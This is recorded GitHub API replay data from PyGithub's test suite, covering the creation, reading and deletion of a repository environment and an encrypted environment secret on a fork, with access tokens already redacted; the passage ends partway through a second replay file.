https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"stargazers_count":6384,"watchers_count":6384,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1695,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":287,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1695,"open_issues":287,"watchers":6384,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1695,"subscribers_count":0} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"wait_timer": 0, "reviewers": [], "deployment_branch_policy": null} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6c1931d44bac40c1097da368bed0dc4c811310de7cdb72662b37f10511c15d92"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4850'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '150'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E053:4D94:10A72F4:22940A2:655F7C86')] {"id":1725664917,"node_id":"EN_kwDOKoE_5s5m246V","name":"test","url":"https://api.github.com/repos/AndrewJDawes/PyGithub/environments/test","html_url":"https://github.com/AndrewJDawes/PyGithub/deployments/activity_log?environments_filter=test","created_at":"2023-11-23T16:23:34Z","updated_at":"2023-11-23T16:23:34Z","can_admins_bypass":true,"protection_rules":[],"deployment_branch_policy":null} https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/public-key {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"351899645c3f15302ce0ac8da4412fb1b1422ff8120c96c62b9b0052d4436574"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4849'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '151'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E054:2C59:105235C:21FA002:655F7C86')] {"key_id":"568250167242549743","key":"cSH8+OKqW2x00NOtOjQAoOII366C7Aj41wQN8h1jkTU="} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/secret_name {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4848'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '152'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'E055:2715:10CF325:22EA372:655F7C86')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/secret_name {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0c810bc251f69f09fdf39536ad96d9adcb69ab9f77532320ec70c42f3d40b20c"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4847'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '153'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E056:3EC2:10F0192:232A152:655F7C86')] {"name":"SECRET_NAME","created_at":"2023-11-23T16:23:35Z","updated_at":"2023-11-23T16:23:35Z"} https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test/secrets/secret_name {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:35 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4846'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '154'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E057:0C70:109D3B0:228987E:655F7C87')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/environments/test {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:35 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4845'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '155'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E058:4650:11211BD:238C8AA:655F7C87')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Environment.testEnvironmentSecrets.txt0000644000175100001660000010526714756101563025772 0ustar00runnerdockerhttps GET api.github.com None /repos/AndrewJDawes/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 23 Nov 2023 16:23:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7b3ffcbfb6768b80de579a95da30f80417937996add76ee2c43a6825f544d64a"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4841'), ('X-RateLimit-Reset', '1700757856'), ('X-RateLimit-Used', '159'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E05D:0C70:109DE9D:228AF20:655F7C8E')] {"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-22T14:07:34Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13242,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-23T13:39:27Z","pushed_at":"2023-11-22T13:31:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15079,"sta